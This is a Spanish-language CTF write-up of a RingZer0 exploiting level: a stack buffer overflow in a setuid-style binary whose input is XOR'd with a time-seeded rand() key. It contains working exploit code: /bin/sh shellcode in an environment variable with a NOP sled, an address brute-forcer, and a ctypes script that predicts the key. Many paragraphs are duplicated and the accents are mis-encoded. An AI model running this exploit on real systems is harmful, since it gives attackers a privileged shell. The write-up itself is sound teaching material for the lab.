by hdbreaker
Hace algunos dÃas me entere que el equipo de ringzer0team habÃa creado nuevos retos de exploiting y decidà retomarlos.
Este reto ya habÃa sido solucionado por [Q]3rv[0] y en su momento compartió su solución en:
Este reto ya habÃa sido solucionado por [Q]3rv[0] y en su momento compartió su solución en:
Este post no trata de ser una repetición de lo mismo, sino un enfoque distinto para resolver el reto.
De mas esta decir que voy a ir tratando los distintos problemas que fui encontrando ya que no he habÃa propuesto no leer la solución de [Q]3rv[0] hasta haberlo resuelto por mis propios medios.
De mas esta decir que voy a ir tratando los distintos problemas que fui encontrando ya que no he habÃa propuesto no leer la solución de [Q]3rv[0] hasta haberlo resuelto por mis propios medios.
Para poder ingresar al reto previamente hay que resolver el level 3, en ningún post voy a dejar los flags ya que estas entradas buscan ayudar a los participantes que se han quedado trabados o quieren aprender y mejorar sus habilidades en el desarrollo de Exploits.
Solo escribiré entradas respecto a los retos que me han resultado difÃciles de resolver y creo interesante compartir debido a su dificultad de resolución.
Una vez ingresamos por ssh al servidor debemos dirigirnos hacia la carpeta /levels/ en ella nos encontramos con los binarios a explotar y su respectivo código fuente:
Antes de leer el código realizamos una primera ejecución del binario enviando como argumento el texto TEST:
Podemos observar que la salida no se parece en nada a nuestro parámetro por lo que revisaremos un poco el código fuente para ver que hace el binario:
Al leerlo podemos observar que nuestro parámetro es tratado por la función parse_buffer() antes de ser mostrado en pantalla.
parse_buffer:
parse_buffer:
Esta función genera un key aleatorio (unsigned char) que va desde 0 a 255, luego recorre cada carácter del buffer y le realiza la operación XOR con el key generado.
para más información ver:
http://stackoverflow.com/questions/75191/what-is-an-unsigned-char.
http://stackoverflow.com/questions/75191/what-is-an-unsigned-char.
http://www.taringa.net/posts/hazlo-tu-mismo/15576788/Implementar-XOR-a-la-hora-cifrar.html
Este proceso es conocido como un algoritmo de cifrado simétrico, lo que quiere decir que si repetimos el mismo procedimiento sobre el buffer cifrado, este volverá a su estado original (se descifrarÃa).
Bajo este concepto. si conociésemos el valor del key, podrÃamos manejar la información almacenada en el buffer.
Al tratarse de un cifrado simétrico, si nosotros previamente cifráramos con el mismo key nuestro argumento, la función parse_buffer realmente trabajarÃa descifrando el buffer.
Para poder realizar este proceso sin tener que lidiar con la función rand() del binario, forzaremos el key a un numero especifico y compilaremos un binario de testing.
Este proceso es conocido como un algoritmo de cifrado simétrico, lo que quiere decir que si repetimos el mismo procedimiento sobre el buffer cifrado, este volverá a su estado original (se descifrarÃa).
Bajo este concepto. si conociésemos el valor del key, podrÃamos manejar la información almacenada en el buffer.
Al tratarse de un cifrado simétrico, si nosotros previamente cifráramos con el mismo key nuestro argumento, la función parse_buffer realmente trabajarÃa descifrando el buffer.
Para poder realizar este proceso sin tener que lidiar con la función rand() del binario, forzaremos el key a un numero especifico y compilaremos un binario de testing.
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <time.h> #define BUFFER_MAX_SIZE 1024 typedef struct __INPUT { char output[BUFFER_MAX_SIZE / 4]; } INPUT; void parse_buffer(char *buffer) { srand(time(NULL)); char key = (unsigned char)(21); /* rand() fue modificado por el numero 21 */ printf("KEY %d\n", key); /* muestro el key para asegurarme que sea correcto */ int i, size = strlen(buffer); for(i = 0; i < size; i++) { buffer[i] = (char)buffer[i] ^ key; } } int main(int argc, char **argv) { INPUT input; char out[BUFFER_MAX_SIZE / 4]; char in[BUFFER_MAX_SIZE]; memset(out, 0, BUFFER_MAX_SIZE / 4); if(argc != 2) { printf("Usage: %s buffer\n", argv[0]); exit(0); } strncpy(in, argv[1], BUFFER_MAX_SIZE - 1); parse_buffer(in); strncpy(out, in, BUFFER_MAX_SIZE - 1); strncpy(input.output, out, BUFFER_MAX_SIZE - 1); printf("output: %s\n", input.output); return 0; }
con este simple cambio nos garantizamos que nuestro binario de testing cifre/descifre siempre con el key 21.
Compilamos con los flags correspondientes para eliminar cualquier tipo de protección y damos los permisos necesarios.
$ gcc -m32 -fno-stack-protector -z execstack -o /tmp/level4test /tmp/level4.c
chmod 777 /tmp/level4test
Solo resta crear un pequeño script en python que tome un argumente le realice un cifrado XOR 21 e imprima la cadena:
#/tmp/payload.py #Cifrado XOR en python import sys if(len(sys.argv)<2): print "Usage: python payload.py {string}"; else: payload = ""; key = 21; for letter in sys.argv[1]: payload = payload + str(chr(ord(letter) ^ int(key))); print payload;En este punto si realizamos la ejecución del binario de la siguiente forma:
/tmp/level4test $(python /tmp/payload.py TEST)
Apreciamos como el output del binario realizo el descifrado del argumento "TEST" cifrado previamente por nuestro payload.py.
Leyendo el código fuente del binario podemos obtener que el largo mÃnimo necesario para overflodear el buffer es 256 bytes, esto lo interpretamos siendo que:
#define BUFFER_MAX_SIZE 1024 // El tamaño máximo del buffer es 1024 bytes char in[BUFFER_MAX_SIZE]; //Se crea el array in con un tamaño de 1024 bytes memset(out, 0, BUFFER_MAX_SIZE / 4) //Se le asigna un espacio de 256 bytes a la variable out strncpy(in, argv[1], BUFFER_MAX_SIZE - 1); //Se copian 1023 bytes del argumento binario al array in strncpy(out, in, BUFFER_MAX_SIZE - 1); //Se copian 1023 bytes de in en out, acá se produce en buffer overflow ya que out espera un maximo de 256 bytes y recibe 1023 bytes
Procederemos a depurar con gdb el binario y enviamos como argumento de payload.py: $(python -c "print 'A'*256")
r $(python /tmp/payload.py $(python -c "print 'A'*256"))
Vemos como hemos logrado pisar de forma correcta EIP, pero esta vez la sobrescritura de EIP no se produce al final del binario como podemos apreciar modificando los últimos 4 bytes:
por lo que deberemos buscar exactamente donde sobrescribimos EIP, para esto dividimos 256 bytes en 3 tipos distintos de caracteres para acorralar el byte justo:
Podemos ver que se logra sobrescribir EIP en los primeros 84 bytes, por lo que repetimos el proceso las veces que sea necesario hasta obtener que EIP se sobrescribe luego de 12 bytes:
r $(python /tmp/payload.py $(python -c "print 'A'*12+'B'*4+'C'*240"))
En este momento podemos controlar el flujo del programa de forma exitosa, obligando al programa a saltar hacia donde nosotros queramos.
El dilema: donde agrego el shellcode?
Se pueden tomar 2 caminos muy distintos en este punto, podemos optar por incluir nuestro shellcode en el espacio de 240 bytes al final del buffer, o podemos incluir nuestra shellcode dentro de una variable de entorno.
A simple vista ambas soluciones parecen optimas salvo un detalle, a veces al realizar cifrados/descifrados sobre algunos bytes como \x01, \x02, \x03, etc obtenemos badchars que rompen nuestro flujo de ejecución.
Por lo que luego de varios intentos frustrados con este método me decidà a incluir el shellcode por medio de una variable de entorno y de esta forma mantenerla lejos de cualquier operación XOR en el proceso de explotación.
Exportamos nuestra shellcode:
$ export SecuritySignal=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")
Volvemos a gdb y comenzamos a buscar la dirección de la variable de entorno al final de $esp
(gdb) b main
(gdb) r
(gdb) x/10s $esp
Damos enter hasta llegar a la dirección:
podemos apreciar que la dirección de SecuritySignal es: 0xbfffff33
No debemos olvidar que en realidad la variable de entorno es un string por lo tanto nuestro shellcode comienza en 0xbfffff33+(len('SecuritySignal=')) que es igual a 0xbfffff42
Si realizamos una prueba rápida de esto, podemos ver como obtenemos shell:
r $(python /tmp/payload.py $(python -c "import struct; print 'A'*12+struct.pack('<I', 0xbfffff42)+'C'*240"))
EL GRAN PROBLEMA
La memoria funciona de una forma bastante compleja, intentare detallar algunos problemas:
Una variable de entorno dentro de gdb tiene una determinada dirección, pero por fuera de gdb, directamente desde bash, esta dirección de memoria cambia dependiendo de diferentes factores, puede incrementar o disminuir una cantidad aleatoria de bytes, por lo general entre 100 y 500 bytes.
Ya que esto sucede nuestra dirección de memoria: 0xbfffff42 no nos sirve para realizar una explotación por fuera de gdb.
Como obtenemos la dirección de memoria de una variable de entorno?
Para realizar esto utilizaremos un pequeño programa en C y haremos uso de la función getenv() que permite desde el código obtener una variable de entorno:
#/tmp/getenv.c #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s <environ_va>\n", argv[0]); exit(-1); } char *addr_ptr; addr_ptr = getenv(argv[1]); if(addr_ptr == NULL) { printf("Environmental variable %s does not exist!\n", argv[1]); exit(-1); } printf("%s is stored at address %p\n", argv[1], addr_ptr); return(0); }Compilamos el programa: gcc -o /tmp/getenv /tmp/getenv.c
Ejecutamos enviando como parametro el nombre de nuestra variable de entorno:
Esto nos indica que nuestra SHELLCODE esta cerca de 0xbfffff38
Tristemente como suena, no hay forma de obtener la dirección exacta del comienzo de una variable de entorno, simplemente basta con retroceder una cierta cantidad de bytes de donde especulamos se encuentra nuestra variable de entorno e ir avanzando byte por byte.
Al ser este proceso bastante tedioso decidà realizar un script que realice el trabajo bruteforceando la dirección de memoria por mi:
Al ser este proceso bastante tedioso decidà realizar un script que realice el trabajo bruteforceando la dirección de memoria por mi:
#/tmp/wrapper.py #Bruteforce SHELLCODE address by hdbreaker import os import struct def xor_enc(inside): payload = ""; key = 21; for letter in inside: payload = payload + str(chr(ord(letter) ^ int(key))); return payload; address = 0xbffff838; #Back in memory address, original => 0xbfffff38 sleed1 = 'TEST'+'\x90'*8 sleed2 = '\x90'*240 while True: try: hex_add = struct.pack('<I',address) payload = sleed1+hex_add+sleed2 arg = xor_enc(payload) print str(hex(ord(hex_add[3]))) + str(hex(ord(hex_add[2]))).replace('0x','') + str(hex(ord(hex_add[1]))).replace('0x','') + str(hex(ord(hex_add[0]))).replace('0x',''); os.system('/tmp/level4test '+arg) address = address+0x01 except: address = address+0x01Luego de probar varias direcciones, nuestra shell aparece y podemos ver como el script nos muestra la dirección de memoria donde encuentra la variable de entorno SecuritySignal:
Podemos apreciar como el exploit va bruteforceando la dirección de memoria hasta obtener shell en: 0xbffff9a9
De esta forma obtenemos la dirección de memoria correcta de nuestra variable SecuritySignal, la lógica indica que utilizando esta dirección de memoria en el binario original y lidiando un rato con el cifrado XOR RANDOM, deberÃamos obtener SHELL con privilegios.
Realizaremos una prueba rápida modificando el valor de memoria del exploit a: 0xbffff9a9, eliminando el incremento de la dirección de memoria, cambiando la ruta del ejecutable a: /levels/level4 y para tener un mejor control visual de la ejecución del programa agregaremos un pequeño retraso entre cada ejecución:
Realizaremos una prueba rápida modificando el valor de memoria del exploit a: 0xbffff9a9, eliminando el incremento de la dirección de memoria, cambiando la ruta del ejecutable a: /levels/level4 y para tener un mejor control visual de la ejecución del programa agregaremos un pequeño retraso entre cada ejecución:
Nota: se agrego el string 'TEST' al comienzo de los primeros 12 bytes con el fin de poder tener una referencia visual cuando rand() tome el valor 21 (TEST se volverÃa legible en pantalla)
import os import time import struct def xor_enc(inside): payload = ""; key = 21; for letter in inside: payload = payload + str(chr(ord(letter) ^ int(key))); return payload; address = 0xbffff9a9; #Address of SHELLCODE enviroment variable sleed1 = 'TEST'+'\x90'*8 sleed2 = '\x90'*240 while True: try: hex_add = struct.pack('<I',address) payload = sleed1+hex_add+sleed2 arg = xor_enc(payload) print str(hex(ord(hex_add[3]))) + str(hex(ord(hex_add[2]))).replace('0x','') + str(hex(ord(hex_add[1]))).replace('0x','') + str(hex(ord(hex_add[0]))).replace('0x',''); os.system('/levels/level4 '+arg) #Change executable file to /levels/level4 time.sleep(0.75) except: passLuego de un tiempo la función rand() toma el valor 21 y descifra correctamente nuestro payload:
PERO QUE?!? en este punto quede desconcertado un par de dÃas y me puse a estudiar más sobre la gestión de memoria y la localización de las variables de entorno.
En ese tiempo aprendà que las variables de entorno no solo cambian de dirección por fuera de gdb sino que también cambian de dirección dependiendo el path donde estemos situados, asà que SecuritySignal se encontrará en 0xbffff9a9 solo para los binarios que se encuentren en la carpeta /tmp/ pero no para los binarios en la carpeta /levels/.
En ese tiempo aprendà que las variables de entorno no solo cambian de dirección por fuera de gdb sino que también cambian de dirección dependiendo el path donde estemos situados, asà que SecuritySignal se encontrará en 0xbffff9a9 solo para los binarios que se encuentren en la carpeta /tmp/ pero no para los binarios en la carpeta /levels/.
Debido a esto me encontraba bastante frustrado, el proceso de bruteforcing deberÃa funcionar pero... al tener que lidiar con el cifrado XOR RANDOM los bucles se volverÃan practicamente infinitos, ya que deberÃa repetir la misma dirección de memoria hasta garantizar que el payload se descifro correctamente y si el payload no me brinda una shell, recién ahà volver a incrementar la dirección de memoria.
El trabajo tardarÃa meses o quizás años, asà que me estanque en este punto y decidà tomarme un dÃa más para pensar en posibles soluciones.
Pasado el dÃa lejos del reto decidà retomar con la mente fresca, y al poco tiempo de intentar superar el reto se me ocurrió lo siguiente:
Si, getenv me da una dirección de memoria, no exacta, pero próxima a - 250 o + 250 bytes podrÃa rellenar ese espacio con NOPS (nopsleed) esperando que la dirección que me devuelve getenv se escriba con NOP, de esta forma el flujo de ejecución continuaria hasta llegar al shellcode alojado al final de la variable de entorno.
Mejor explicado:
$/tmp/getenv SecuritySignal me comunica que la variable de entorno se encuentra próxima a: 0xbffffd42
Esto quiere decir que el punto de inició de mi shellcode podrÃa encontrarse entre 0xbffffc48 y 0xbffffe3c (+- 250 bytes desde 0xbffffd44)
Si yo pudiera llenar ese espacio de posibilidades con NOPS (\x90), al forzar el salto hacia: 0xbffffd42 este y las posteriores posibilidades tendrÃan el valor NOP por lo que el flujo de ejecución se verÃa forzado a continuar por una cola de NOPS hasta llegar a la shellcode alojada al final de la cola.
De esta forma eliminarÃa totalmente la posibilidad de corromper la ejecución y forzosamente deberÃa obtener shell:
Para esto modifique mi variable de entorno de la siguiente forma:
De esta forma eliminarÃa totalmente la posibilidad de corromper la ejecución y forzosamente deberÃa obtener shell:
Para esto modifique mi variable de entorno de la siguiente forma:
$ export SecuritySignal=$(python -c "print '\x90'*500+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")
obtuve la dirección de memoria con /tmp/getenv SecuritySignal (0xbffffd44) y la agregué en mi expoit:
En este punto la ansiedad me estaba matando, asà que cruce los dedos y largue el ataque:
y por fin y luego de mucho esfuerzo y de todo el tiempo necesario para que rand() se dignara a darnos key 21, hemos logrado obtener shell con permisos de level5! Solo resta leer el flag :)
TIPS:
La memoria muchas veces nos juega malas pasadas, algunas recomendaciones de mi parte:
1) Utilicen nombres de variables de entorno simil a las existentes.
2) Si su exploit no funciona prueben cambiando el nombre de la variable de entorno y obteniendo nuevamente la dirección de memoria
3) Prueben distintos largos de nopsleed previo shellcode
Actualización 09/01/2016:
Revisando el código fuente del binario a explotar, y profundizando en la importación de librerÃas C en python, pude llegar a una solución optima:
Actualización 09/01/2016:
Revisando el código fuente del binario a explotar, y profundizando en la importación de librerÃas C en python, pude llegar a una solución optima:
void parse_buffer(char *buffer) {
srand(time(NULL));
char key = (unsigned char)(rand());
int i, size = strlen(buffer);
for(i = 0; i < size; i++) {
buffer[i] = (char)buffer[i] ^ key;
}
}
Si observamos las 2 primeras lineas de esta función, podemos ver que la función srand(), responsable de la creación de la semilla para la generación de números aleatorios, utiliza como parámetro la función time(NULL);
Time(NULL) retorna la hora actual del sistema en segundos, la cual es tomada como parámetro de la semilla para luego con el uso de rand(); generar un numero aleatorio.
Ya que estamos tratando con un unsigned char el número aleatorio se vera limitado entre los valores 0 y 255, o lo que es igual a 256 combinaciones posibles.
Una vez obtenido este numero se utiliza como key de cifrado del buffer.
Conclusión:
Si en nuestro exploit logramos obtener el tiempo exacto en segundos del sistema, generar la semilla, el key de cifrado, cifrar el payload y ejecutar el binario a explotar antes de que pase un segundo, garantizaremos que el numero KEY RANDOM generado por el binario sera el mismo el cual generamos desde nuestro exploit ya que ambos utilizaran como semilla el mismo tiempo del sistema.
Esto se debe a que la funcion rand() genera números psudo-aleatorios que dependen directamente de la semilla, por lo que si 2 programas poseen la misma semilla, rand() generará el mismo número "aleatorio" en ambos programas.
Las funciones srand(), rand() y time() son propias de libc, y debido a esto solo deberÃan ser accesibles desde otro programa escrito en C.
Pero afortunadamente python posee la librerÃa ctypes, el cual provee estructuras de datos compatibles entre ambos lenguajes y permite utilizar funciones de librerÃas del sistema dentro de python.
Por medio de ctypes realizaremos la generación de la misma semilla y el mismo key random que el binario, cifraremos nuestro payload y ejecutaremos el binario.
De esta forma el exploit sera valido el 99% de las veces que el reloj del sistema repita la misma hora tanto en el exploit como en el binario.
Nuestro exploit solo fallara cuando la diferencia del reloj entre la ejecución del exploit y la del binario varÃe en pocos milisegundos.
Supongamos que nuestro exploit se ejecuta a las 00:00:00:59 ms, al realizar el proceso de obtener la semilla, obtendremos un numero random correspondiente a 00:00:00 pero al llegar a la ejecución del binario el reloj del sistema estará en 00:00:01, por lo que el KEY del binario sera distinto al que nosotros obtuvimos.
Todas las veces que esto no suceda nuestro exploit funcionara correctamente.
Código:
Como resultado, obtenemos en la primera ejecución nuestra preciada shell:
Time(NULL) retorna la hora actual del sistema en segundos, la cual es tomada como parámetro de la semilla para luego con el uso de rand(); generar un numero aleatorio.
Ya que estamos tratando con un unsigned char el número aleatorio se vera limitado entre los valores 0 y 255, o lo que es igual a 256 combinaciones posibles.
Una vez obtenido este numero se utiliza como key de cifrado del buffer.
Conclusión:
Si en nuestro exploit logramos obtener el tiempo exacto en segundos del sistema, generar la semilla, el key de cifrado, cifrar el payload y ejecutar el binario a explotar antes de que pase un segundo, garantizaremos que el numero KEY RANDOM generado por el binario sera el mismo el cual generamos desde nuestro exploit ya que ambos utilizaran como semilla el mismo tiempo del sistema.
Esto se debe a que la funcion rand() genera números psudo-aleatorios que dependen directamente de la semilla, por lo que si 2 programas poseen la misma semilla, rand() generará el mismo número "aleatorio" en ambos programas.
Las funciones srand(), rand() y time() son propias de libc, y debido a esto solo deberÃan ser accesibles desde otro programa escrito en C.
Pero afortunadamente python posee la librerÃa ctypes, el cual provee estructuras de datos compatibles entre ambos lenguajes y permite utilizar funciones de librerÃas del sistema dentro de python.
Por medio de ctypes realizaremos la generación de la misma semilla y el mismo key random que el binario, cifraremos nuestro payload y ejecutaremos el binario.
De esta forma el exploit sera valido el 99% de las veces que el reloj del sistema repita la misma hora tanto en el exploit como en el binario.
Nuestro exploit solo fallara cuando la diferencia del reloj entre la ejecución del exploit y la del binario varÃe en pocos milisegundos.
Supongamos que nuestro exploit se ejecuta a las 00:00:00:59 ms, al realizar el proceso de obtener la semilla, obtendremos un numero random correspondiente a 00:00:00 pero al llegar a la ejecución del binario el reloj del sistema estará en 00:00:01, por lo que el KEY del binario sera distinto al que nosotros obtuvimos.
Todas las veces que esto no suceda nuestro exploit funcionara correctamente.
Código:
import os import struct from ctypes import * libc = CDLL("libc.so.6"); def xor_enc(inside): payload = ""; libc.srand(libc.time()) key = (libc.rand() % 256) # %256 limita el valor de rand() entre 0 y 255 valor que puede tomar unsigned char for letter in inside: payload = payload + str(chr(ord(letter) ^ int(key))); return payload; address = 0xbffffeda; #Address of SHELLCODE enviroment variable sleed1 = 'TEST'+'\x90'*8 sleed2 = '\x90'*240 try: hex_add = struct.pack('<I',address) payload = sleed1+hex_add+sleed2 arg = xor_enc(payload) print str(hex(ord(hex_add[3]))) + str(hex(ord(hex_add[2]))).replace('0x','') + str(hex(ord(hex_add[1]))).replace('0x','') + str(hex(ord(hex_add[0]))).replace('0x',''); os.system('/levels/level4 '+arg) #Change executable file to /levels/level4 except: print "Exploit Fail"
Como resultado, obtenemos en la primera ejecución nuestra preciada shell: